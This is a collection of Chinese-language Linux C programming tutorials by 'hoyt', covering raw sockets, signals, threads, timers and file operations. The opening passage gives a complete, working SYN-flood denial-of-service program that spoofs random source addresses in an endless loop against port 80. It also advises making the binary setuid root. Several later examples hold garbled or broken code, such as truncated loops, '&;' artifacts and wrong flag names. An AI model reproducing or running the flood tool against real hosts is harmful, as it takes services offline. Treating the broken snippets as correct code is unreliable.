#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
fprintf(stderr,”Usage:%s hostname\n\a”,argv[0]);
exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,”HostName Error:%s\n\a”,hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,”Socket Error:%s\n\a”,strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());

/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}

/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;

/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS

10.3 总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.

11. 后记
总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.

如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.

看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.

不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!

相信一点:

别人可以做到的我们一样可以做到,而且可以比别人做的更好!

勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!

hoyt

11.1 参考资料
<<实用UNIX编程>>—机械工业出版社.

Linux下C语言编程–信号处理函数

作者:hoyt

前言:这一章我们讨论一下Linux下的信号处理函数.
Linux下的信号处理函数:
1.信号的产生
2.信号的处理
3.其它信号函数
——————————————————————————–
一个实例
1。信号的产生
Linux下的信号可以类比于DOS下的INT或者是Windows下的事件.在有一个信号发生时候相信的信号就会发送给相应的进程.在Linux下的信号有以下几个. 我们使用 kill -l 命令可以得到以下的输出结果:

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS icon_cool SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
1icon_cool SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN
22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 2icon_cool SIGWINCH 29) SIGIO
30) SIGPWR

关于这些信号的详细解释请查看man 7 signal的输出结果. 信号事件的发生有两个来源:一个是硬件的原因(比如我们按下了键盘),一个是软件的原因(比如我们使用系统函数或者是命令发出信号). 最常用的四个发出信号的系统函数是kill, raise, alarm和setitimer函数. setitimer函数我们在计时器的使用 那一章再学习.
#include
#include
#include

int kill(pid_t pid,int sig);
int raise(int sig);
unisigned int alarm(unsigned int seconds);

kill系统调用负责向进程发送信号sig.
如果pid是正数,那么向信号sig被发送到进程pid.
如果pid等于0,那么信号sig被发送到所以和pid进程在同一个进程组的进程
如果pid等于-1,那么信号发给所有的进程表中的进程,除了最大的哪个进程号.
如果pid由于-1,和0一样,只是发送进程组是-pid.
我们用最多的是第一个情况.还记得我们在守护进程那一节的例子吗?我们那个时候用这个函数杀死了父进程守护进程的创建
raise系统调用向自己发送一个sig信号.我们可以用上面那个函数来实现这个功能的.
alarm函数和时间有点关系了,这个函数可以在seconds秒后向自己发送一个SIGALRM信号. 下面这个函数会有什么结果呢?

#include

main()
{
unsigned int i;
alarm(1);
for(i=0;1;i++)
printf(“I=%d”,i);
}
SIGALRM的缺省操作是结束进程,所以程序在1秒之后结束,你可以看看你的最后I值为多少,来比较一下大家的系统性能差异(我的是2232).

2。信号操作 有时候我们希望进程正确的执行,而不想进程受到信号的影响,比如我们希望上面那个程序在1秒钟之后不结束.这个时候我们就要进行信号的操作了.
信号操作最常用的方法是信号屏蔽.信号屏蔽要用到下面的几个函数.

#include

int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set,int signo);
int sigdelset(sigset_t *set,int signo);
int sigismember(sigset_t *set,int signo);
int sigprocmask(int how,const sigset_t *set,sigset_t *oset);

sigemptyset函数初始化信号集合set,将set设置为空.sigfillset也初始化信号集合,只是将信号集合设置为所有信号的集合.sigaddset将信号signo加入到信号集合之中,sigdelset将信号从信号集合中删除.sigismember查询信号是否在信号集合之中.
sigprocmask是最为关键的一个函数.在使用之前要先设置好信号集合set.这个函数的作用是将指定的信号集合set加入到进程的信号阻塞集合之中去,如果提供了oset那么当前的进程信号阻塞集合将会保存在oset里面.参数how决定函数的操作方式.
SIG_BLOCK:增加一个信号集合到当前进程的阻塞集合之中.
SIG_UNBLOCK:从当前的阻塞集合之中删除一个信号集合.
SIG_SETMASK:将当前的信号集合设置为信号阻塞集合.
以一个实例来解释使用这几个函数.

#include
#include
#include
#include

int main(int argc,char **argv)
{
double y;
sigset_t intmask;
int i,repeat_factor;

if(argc!=2)
{
fprintf(stderr,”Usage:%s repeat_factor\n\a”,argv[0]);
exit(1);
}

if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10;
sigemptyset(&intmask); /* 将信号集合设置为空 */
sigaddset(&intmask,SIGINT); /* 加入中断 Ctrl+C 信号*/
while(1)
{
/*阻塞信号,我们不希望保存原来的集合所以参数为NULL*/
sigprocmask(SIG_BLOCK,&intmask,NULL);
fprintf(stderr,”SIGINT signal blocked\n”);
for(i=0;i fprintf(stderr,”Blocked calculation is finished\n”);
/* 取消阻塞 */
sigprocmask(SIG_UNBLOCK,&intmask,NULL);
fprintf(stderr,”SIGINT signal unblocked\n”);
for(i=0;i fprintf(stderr,”Unblocked calculation is finished\n”);
}
exit(0);
}

程序在运行的时候我们要使用Ctrl+C来结束.如果我们在第一计算的时候发出SIGINT信号,由于信号已经屏蔽了,所以程序没有反映.只有到信号被取消阻塞的时候程序才会结束. 注意我们只要发出一次SIGINT信号就可以了,因为信号屏蔽只是将信号加入到信号阻塞集合之中,并没有丢弃这个信号.一旦信号屏蔽取消了,这个信号就会发生作用.
有时候我们希望对信号作出及时的反映的,比如当拥护按下Ctrl+C时,我们不想什么事情也不做,我们想告诉用户你的这个操作不好,请不要重试,而不是什么反映也没有的. 这个时候我们要用到sigaction函数.
#include

int sigaction(int signo,const struct sigaction *act,
struct sigaction *oact);

struct sigaction {
void (*sa_handler)(int signo);
void (*sa_sigaction)(int siginfo_t *info,void *act);
sigset_t sa_mask;
int sa_flags;
void (*sa_restore)(void);
}

这个函数和结构看起来是不是有点恐怖呢.不要被这个吓着了,其实这个函数的使用相当简单的.我们先解释一下各个参数的含义. signo很简单就是我们要处理的信号了,可以是任何的合法的信号.有两个信号不能够使用(SIGKILL和SIGSTOP). act包含我们要对这个信号进行如何处理的信息.oact更简单了就是以前对这个函数的处理信息了,主要用来保存信息的,一般用NULL就OK了.
信号结构有点复杂.不要紧我们慢慢的学习.
sa_handler是一个函数型指针,这个指针指向一个函数,这个函数有一个参数.这个函数就是我们要进行的信号操作的函数. sa_sigaction,sa_restore和sa_handler差不多的,只是参数不同罢了.这两个元素我们很少使用,就不管了.
sa_flags用来设置信号操作的各个情况.一般设置为0好了.sa_mask我们已经学习过了
在使用的时候我们用sa_handler指向我们的一个信号操作函数,就可以了.sa_handler有两个特殊的值:SIG_DEL和SIG_IGN.SIG_DEL是使用缺省的信号操作函数,而SIG_IGN是使用忽略该信号的操作函数.
这个函数复杂,我们使用一个实例来说明.下面这个函数可以捕捉用户的CTRL+C信号.并输出一个提示语句.

#include
#include
#include
#include
#include

#define PROMPT “你想终止程序吗?”

char *prompt=PROMPT;

void ctrl_c_op(int signo)
{
write(STDERR_FILENO,prompt,strlen(prompt));
}

int main()
{
struct sigaction act;

act.sa_handler=ctrl_c_op;
sigemptyset(&act.sa_mask);
act.sa_flags=0;
if(sigaction(SIGINT,&act,NULL)<0)
{
fprintf(stderr,”Install Signal Action Error:%s\n\a”,strerror(errno));
exit(1);
}
while(1);
}

在上面程序的信号操作函数之中,我们使用了write函数而没有使用fprintf函数.是因为我们要考虑到下面这种情况.如果我们在信号操作的时候又有一个信号发生,那么程序该如何运行呢? 为了处理在信号处理函数运行的时候信号的发生,我们需要设置sa_mask成员. 我们将我们要屏蔽的信号添加到sa_mask结构当中去,这样这些函数在信号处理的时候就会被屏蔽掉的.
3。其它信号函数 由于信号的操作和处理比较复杂,我们再介绍几个信号操作函数.

#include
#include

int pause(void);
int sigsuspend(const sigset_t *sigmask);

pause函数很简单,就是挂起进程直到一个信号发生了.而sigsuspend也是挂起进程只是在调用的时候用sigmask取代当前的信号阻塞集合.
#include

int sigsetjmp(sigjmp_buf env,int val);
void siglongjmp(sigjmp_buf env,int val);

还记得goto函数或者是setjmp和longjmp函数吗.这两个信号跳转函数也可以实现程序的跳转让我们可以从函数之中跳转到我们需要的地方.
由于上面几个函数,我们很少遇到,所以只是说明了一下,详细情况请查看联机帮助.
4。一个实例 还记得我们在守护进程创建的哪个程序吗?守护进程在这里我们把那个程序加强一下. 下面这个程序会在也可以检查用户的邮件.不过提供了一个开关,如果用户不想程序提示有新的邮件到来,可以向程序发送SIGUSR2信号,如果想程序提供提示可以发送SIGUSR1信号.

#include
#include
#include
#include
#include
#include
#include

#include
#include

/* Linux 的默任个人的邮箱地址是 /var/spool/mail/ */

#define MAIL_DIR “/var/spool/mail/”

/* 睡眠10秒钟 */

#define SLEEP_TIME 10
#define MAX_FILENAME 255

unsigned char notifyflag=1;

long get_file_size(const char *filename)
{
struct stat buf;

if(stat(filename,&;buf)==-1)
{
if(errno==ENOENT)return 0;
else return -1;
}
return (long)buf.st_size;
}

void send_mail_notify(void)
{
fprintf(stderr,”New mail has arrived\007\n”);
}

void turn_on_notify(int signo)
{
notifyflag=1;
}

void turn_off_notify(int signo)
{
notifyflag=0;
}

int check_mail(const char *filename)
{
long old_mail_size,new_mail_size;
sigset_t blockset,emptyset;

sigemptyset(&;blockset);
sigemptyset(&;emptyset);
sigaddset(&;blockset,SIGUSR1);
sigaddset(&;blockset,SIGUSR2);

old_mail_size=get_file_size(filename);
if(old_mail_size<0)return 1;
if(old_mail_size>0) send_mail_notify();
sleep(SLEEP_TIME);

while(1)
{
if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1;
while(notifyflag==0)sigsuspend(&;emptyset);
if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1;
new_mail_size=get_file_size(filename);
if(new_mail_size>old_mail_size)send_mail_notify;
old_mail_size=new_mail_size;
sleep(SLEEP_TIME);
}
}

int main(void)
{
char mailfile[MAX_FILENAME];
struct sigaction newact;
struct passwd *pw;

if((pw=getpwuid(getuid()))==NULL)
{
fprintf(stderr,”Get Login Name Error:%s\n\a”,strerror(errno));
exit(1);
}
strcpy(mailfile,MAIL_DIR);
strcat(mailfile,pw->pw_name);
newact.sa_handler=turn_on_notify;
newact.sa_flags=0;
sigemptyset(&;newact.sa_mask);
sigaddset(&;newact.sa_mask,SIGUSR1);
sigaddset(&;newact.sa_mask,SIGUSR2);
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,”Turn On Error:%s\n\a”,strerror(errno));
newact.sa_handler=turn_off_notify;
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,”Turn Off Error:%s\n\a”,strerror(errno));
check_mail(mailfile);
exit(0);
}

信号操作是一件非常复杂的事情,比我们想象之中的复杂程度还要复杂,如果你想彻底的弄清楚信号操作的各个问题,那么除了大量的练习以外还要多看联机手册.不过如果我们只是一般的使用的话,有了上面的几个函数也就差不多了. 我们就介绍到这里了.

Linux下C语言编程–线程操作

作者:hoyt

前言:Linux下线程的创建
介绍在Linux下线程的创建和基本的使用. Linux下的线程是一个非常复杂的问题,由于我对线程的学习不时很好,我在这里只是简单的介绍线程的创建和基本的使用,关于线程的高级使用(如线程的属性,线程的互斥,线程的同步等等问题)可以参考我后面给出的资料. 现在关于线程的资料在网络上可以找到许多英文资料,后面我罗列了许多链接,对线程的高级属性感兴趣的话可以参考一下. 等到我对线程的了解比较深刻的时候,我回来完成这篇文章.如果您对线程了解的详尽我也非常高兴能够由您来完善.
先介绍什么是线程.我们编写的程序大多数可以看成是单线程的.就是程序是按照一定的顺序来执行.如果我们使用线程的话,程序就会在我们创建线成的地方分叉,变成两个”程序”在执行.粗略的看来好象和子进程差不多的,其实不然.子进程是通过拷贝父进程的地址空间来执行的.而线程是通过共享程序代码来执行的,讲的通俗一点就是线程的相同的代码会被执行几次.使用线程的好处是可以节省资源,由于线程是通过共享代码的,所以没有进程调度那么复杂.

线程的创建和使用
线程的创建是用下面的几个函数来实现的.

#include
int pthread_create(pthread_t *thread,pthread_attr_t *attr,
void *(*start_routine)(void *),void *arg);
void pthread_exit(void *retval);
int pthread_join(pthread *thread,void **thread_return);

pthread_create创建一个线程,thread是用来表明创建线程的ID,attr指出线程创建时候的属性,我们用NULL来表明使用缺省属性.start_routine函数指针是线程创建成功后开始执行的函数,arg是这个函数的唯一一个参数.表明传递给start_routine的参数. pthread_exit函数和exit函数类似用来退出线程.这个函数结束线程,释放函数的资源,并在最后阻塞,直到其他线程使用pthread_join函数等待它.然后将*retval的值传递给**thread_return.由于这个函数释放所以的函数资源,所以retval不能够指向函数的局部变量. pthread_join和wait调用一样用来等待指定的线程. 下面我们使用一个实例来解释一下使用方法.在实践中,我们经常要备份一些文件.下面这个程序可以实现当前目录下的所有文件备份.备份后的后缀名为bak

#include
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include

#define BUFFER 512

struct copy_file {
int infile;
int outfile;
};

void *copy(void *arg)
{
int infile,outfile;
int bytes_read,bytes_write,*bytes_copy_p;
char buffer[BUFFER],*buffer_p;
struct copy_file *file=(struct copy_file *)arg;

infile=file->infile;
outfile=file->outfile;

/* 因为线程退出时,所有的变量空间都要被释放,所以我们只好自己分配内存了 */
if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);
bytes_read=bytes_write=0;
*bytes_copy_p=0;

/* 还记得怎么拷贝文件吗 */
while((bytes_read=read(infile,buffer,BUFFER))!=0)
{
if((bytes_read==-1)&&(errno!=EINTR))break;
else if(bytes_read>0)
{
buffer_p=buffer;
while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)
{
if((bytes_write==-1)&&(errno!=EINTR))break;
else if(bytes_write==bytes_read)break;
else if(bytes_write>0)
{
buffer_p+=bytes_write;
bytes_read-=bytes_write;
}
}
if(bytes_write==-1)break;
*bytes_copy_p+=bytes_read;
}
}
close(infile);
close(outfile);
pthread_exit(bytes_copy_p);
}

int main(int argc,char **argv)
{
pthread_t *thread;
struct copy_file *file;
int byte_copy,*byte_copy_p,num,i,j;
char filename[BUFFER];
struct dirent **namelist;
struct stat filestat;

/* 得到当前路径下面所有的文件(包含目录)的个数 */
if((num=scandir(“.”,&namelist,0,alphasort))<0)
{
fprintf(stderr,”Get File Num Error:%s\n\a”,strerror(errno));
exit(1);
}

/* 给线程分配空间,其实没有必要这么多的 */
if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)||
((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL))
{
fprintf(stderr,”Out Of Memory!\n\a”);
exit(1);
}

for(i=0,j=0;i {
memset(filename,’\0′,BUFFER);
strcpy(filename,namelist[i]->d_name);
if(stat(filename,&filestat)==-1)
{
fprintf(stderr,”Get File Information:%s\n\a”,strerror(errno));
exit(1);
}

/* 我们忽略目录 */
if(!S_ISREG(filestat.st_mode))continue;
if((file[j].infile=open(filename,O_RDONLY))<0)
{
fprintf(stderr,”Open %s Error:%s\n\a”,filename,strerror(errno));
continue;
}

strcat(filename,”.bak”);
if((file[j].outfile=open(filename,O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))<0)
{
fprintf(stderr,”Creat %s Error:%s\n\a”,filename,strerror(errno));
continue;
}

/* 创建线程,进行文件拷贝 */
if(pthread_create(&thread[j],NULL,copy,(void *)&file[j])!=0)
fprintf(stderr,”Create Thread[%d] Error:%s\n\a”,i,strerror(errno));
j++;
}

byte_copy=0;
for(i=0;i {
/* 等待线程结束 */
if(pthread_join(thread[i],(void **)&byte_copy_p)!=0)
fprintf(stderr,”Thread[%d] Join Error:%s\n\a”,
i,strerror(errno));
else
{
if(bytes_copy_p==NULL)continue;
printf(“Thread[%d] Copy %d bytes\n\a”,i,*byte_copy_p);
byte_copy+=*byte_copy_p;
/* 释放我们在copy函数里面创建的内存 */
free(byte_copy_p);
}
}
printf(“Total Copy Bytes %d\n\a”,byte_copy);
free(thread);
free(file);
exit(0);
}

线程的介绍就到这里了,关于线程的其他资料可以查看下面这写链接.
Getting Started With POSIX Threads
The LinuxThreads library

Linux下C语言编程–时间概念

作者:hoyt

这一章我们学习Linux的时间表示和计算函数

1.时间的表示
2.时间的测量
3.计时器的使用
——————————————————————————–

1。时间表示 在程序当中,我们经常要输出系统当前的时间,比如我们使用date命令的输出结果.这个时候我们可以使用下面两个函数

#include

time_t time(time_t *tloc);
char *ctime(const time_t *clock);

time函数返回从1970年1月1日0点以来的秒数.存储在time_t结构之中.不过这个函数的返回值对于我们来说没有什么实际意义.这个时候我们使用第二个函数将秒数转化为字符串. 这个函数的返回类型是固定的:一个可能值为. Thu Dec 7 14:58:59 2000 这个字符串的长度是固定的为26.

2。时间的测量 有时候我们要计算程序执行的时间.比如我们要对算法进行时间分析.这个时候可以使用下面这个函数.

#include

int gettimeofday(struct timeval *tv,struct timezone *tz);

strut timeval {
long tv_sec; /* 秒数 */
long tv_usec; /* 微秒数 */
};

gettimeofday将时间保存在结构tv之中.tz一般我们使用NULL来代替.

#include #include #include
void function()
{
unsigned int i,j;
double y;
for(i=0;i<1000;i++)
for(j=0;j<1000;j++)
y=sin((double)i);
}

main()
{
struct timeval tpstart,tpend;
float timeuse;

gettimeofday(&tpstart,NULL);
function();
gettimeofday(&tpend,NULL);
timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+
tpend.tv_usec-tpstart.tv_usec;
timeuse/=1000000;
printf(“Used Time:%f\n”,timeuse);
exit(0);
}

这个程序输出函数的执行时间,我们可以使用这个来进行系统性能的测试,或者是函数算法的效率分析.在我机器上的一个输出结果是: Used Time:0.556070

3。计时器的使用 Linux操作系统为每一个进程提供了3个内部间隔计时器.
ITIMER_REAL:减少实际时间.到时的时候发出SIGALRM信号.
ITIMER_VIRTUAL:减少有效时间(进程执行的时间).产生SIGVTALRM信号.
ITIMER_PROF:减少进程的有效时间和系统时间(为进程调度用的时间).这个经常和上面一个使用用来计算系统内核时间和用户时间.产生SIGPROF信号.
具体的操作函数是:

#include
int getitimer(int which,struct itimerval *value);
int setitimer(int which,struct itimerval *newval,
struct itimerval *oldval);

struct itimerval {
struct timeval it_interval;
struct timeval it_value;
}

getitimer函数得到间隔计时器的时间值.保存在value中 setitimer函数设置间隔计时器的时间值为newval.并将旧值保存在oldval中. which表示使用三个计时器中的哪一个. itimerval结构中的it_value是减少的时间,当这个值为0的时候就发出相应的信号了. 然后设置为it_interval值.

#include
#include
#include
#include
#include

#define PROMPT “时间已经过去了两秒钟\n\a”

char *prompt=PROMPT;
unsigned int len;

void prompt_info(int signo)
{
write(STDERR_FILENO,prompt,len);
}

void init_sigaction(void)
{
struct sigaction act;
act.sa_handler=prompt_info;
act.sa_flags=0;
sigemptyset(&act.sa_mask);
sigaction(SIGPROF,&act,NULL);
}

void init_time()
{
struct itimerval value;
value.it_value.tv_sec=2;
value.it_value.tv_usec=0;
value.it_interval=value.it_value;
setitimer(ITIMER_PROF,&value,NULL);
}

int main()
{
len=strlen(prompt);
init_sigaction();
init_time();
while(1);
exit(0);
}

这个程序每执行两秒中之后会输出一个提示.

Linux下C语言编程–文件的操作

作者:hoyt

前言:
我们在这一节将要讨论linux下文件操作的各个函数.
1.文件的创建和读写
2.文件的各个属性
3.目录文件的操作
4.管道文件

——————————————————————————–
1。文件的创建和读写
我假设你已经知道了标准级的文件操作的各个函数(fopen,fread,fwrite等等).当然如果你不清楚的话也不要着急.我们讨论的系统级的文件操作实际上是为标准级文件操作服务的.
当我们需要打开一个文件进行读写操作的时候,我们可以使用系统调用函数open.使用完成以后我们调用另外一个close函数进行关闭操作.
#include
#include
#include
#include

int open(const char *pathname,int flags);
int open(const char *pathname,int flags,mode_t mode);

int close(int fd);

open函数有两个形式.其中pathname是我们要打开的文件名(包含路径名称,缺省是认为在当前路径下面).flags可以去下面的一个值或者是几个值的组合.
O_RDONLY:以只读的方式打开文件.
O_WRONLY:以只写的方式打开文件.
O_RDWR:以读写的方式打开文件.
O_APPEND:以追加的方式打开文件.
O_CREAT:创建一个文件.
O_EXEC:如果使用了O_CREAT而且文件已经存在,就会发生一个错误.
O_NOBLOCK:以非阻塞的方式打开一个文件.
O_TRUNC:如果文件已经存在,则删除文件的内容.
前面三个标志只能使用任意的一个.如果使用了O_CREATE标志,那么我们要使用open的第二种形式.还要指定mode标志,用来表示文件的访问权限.mode可以是以下情况的组合.
—————————————————————–
S_IRUSR 用户可以读 S_IWUSR 用户可以写
S_IXUSR 用户可以执行 S_IRWXU 用户可以读写执行
—————————————————————–
S_IRGRP 组可以读 S_IWGRP 组可以写
S_IXGRP 组可以执行 S_IRWXG 组可以读写执行
—————————————————————–
S_IROTH 其他人可以读 S_IWOTH 其他人可以写
S_IXOTH 其他人可以执行 S_IRWXO 其他人可以读写执行
—————————————————————–
S_ISUID 设置用户执行ID S_ISGID 设置组的执行ID
—————————————————————–
我们也可以用数字来代表各个位的标志.Linux总共用5个数字来表示文件的各种权限.
00000.第一位表示设置用户ID.第二位表示设置组ID,第三位表示用户自己的权限位,第四位表示组的权限,最后一位表示其他人的权限.
每个数字可以取1(执行权限),2(写权限),4(读权限),0(什么也没有)或者是这几个值的和.
比如我们要创建一个用户读写执行,组没有权限,其他人读执行的文件.设置用户ID位那么我们可以使用的模式是–1(设置用户ID)0(组没有设置)7(1+2+4)0(没有权限,使用缺省)5(1+4)即10705:
open(“temp”,O_CREAT,10705);
如果我们打开文件成功,open会返回一个文件描述符.我们以后对文件的所有操作就可以对这个文件描述符进行操作了.
当我们操作完成以后,我们要关闭文件了,只要调用close就可以了,其中fd是我们要关闭的文件描述符.
文件打开了以后,我们就要对文件进行读写了.我们可以调用函数read和write进行文件的读写.
#include

ssize_t read(int fd, void *buffer,size_t count);
ssize_t write(int fd, const void *buffer,size_t count);

fd是我们要进行读写操作的文件描述符,buffer是我们要写入文件内容或读出文件内容的内存地址.count是我们要读写的字节数.
对于普通的文件read从指定的文件(fd)中读取count字节到buffer缓冲区中(记住我们必须提供一个足够大的缓冲区),同时返回count.
如果read读到了文件的结尾或者被一个信号所中断,返回值会小于count.如果是由信号中断引起返回,而且没有返回数据,read会返回-1,且设置errno为EINTR.当程序读到了文件结尾的时候,read会返回0.
write从buffer中写count字节到文件fd中,成功时返回实际所写的字节数.
下面我们学习一个实例,这个实例用来拷贝文件.

#include
#include
#include
#include
#include
#include
#include

#define BUFFER_SIZE 1024

int main(int argc,char **argv)
{

int from_fd,to_fd;
int bytes_read,bytes_write;
char buffer[BUFFER_SIZE];
char *ptr;

if(argc!=3)
{
fprintf(stderr,”Usage:%s fromfile tofile\n\a”,argv[0]);
exit(1);
}

/* 打开源文件 */

if((from_fd=open(argv[1],O_RDONLY))==-1)
{
fprintf(stderr,”Open %s Error:%s\n”,argv[1],strerror(errno));
exit(1);
}

/* 创建目的文件 */

if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,”Open %s Error:%s\n”,argv[2],strerror(errno));
exit(1);
}

/* 以下代码是一个经典的拷贝文件的代码 */

while(bytes_read=read(from_fd,buffer,BUFFER_SIZE))
{
/* 一个致命的错误发生了 */
if((bytes_read==-1)&&(errno!=EINTR)) break;
else if(bytes_read>0)
{
ptr=buffer;
while(bytes_write=write(to_fd,ptr,bytes_read))
{
/* 一个致命错误发生了 */
if((bytes_write==-1)&&(errno!=EINTR))break;
/* 写完了所有读的字节 */
else if(bytes_write==bytes_read) break;
/* 只写了一部分,继续写 */
else if(bytes_write>0)
{
ptr+=bytes_write;
bytes_read-=bytes_write;
}
}
/* 写的时候发生的致命错误 */
if(bytes_write==-1)break;

}
}
close(from_fd);
close(to_fd);
exit(0);
}

2。文件的各个属性
文件具有各种各样的属性,除了我们上面所知道的文件权限以外,文件还有创建时间,大小等等属性.
有时侯我们要判断文件是否可以进行某种操作(读,写等等).这个时候我们可以使用access函数.
#include

int access(const char *pathname,int mode);

pathname:是文件名称,mode是我们要判断的属性.可以取以下值或者是他们的组合.
R_OK文件可以读,W_OK文件可以写,X_OK文件可以执行,F_OK文件存在.当我们测试成功时,函数返回0,否则如果有一个条件不符时,返回-1.
如果我们要获得文件的其他属性,我们可以使用函数stat或者fstat.
#include
#include

int stat(const char *file_name,struct stat *buf);
int fstat(int filedes,struct stat *buf);

struct stat {
dev_t st_dev; /* 设备 */
ino_t st_ino; /* 节点 */
mode_t st_mode; /* 模式 */
nlink_t st_nlink; /* 硬连接 */
user_id_t st_uid; /* 用户ID */
gid_t st_gid; /* 组ID */
dev_t st_rdev; /* 设备类型 */
off_t st_off; /* 文件字节数 */
unsigned long st_blksize; /* 块大小 */
unsigned long st_blocks; /* 块数 */
time_t st_atime; /* 最后一次访问时间 */
time_t st_mtime; /* 最后一次修改时间 */
time_t st_ctime; /* 最后一次改变时间(指属性) */
};

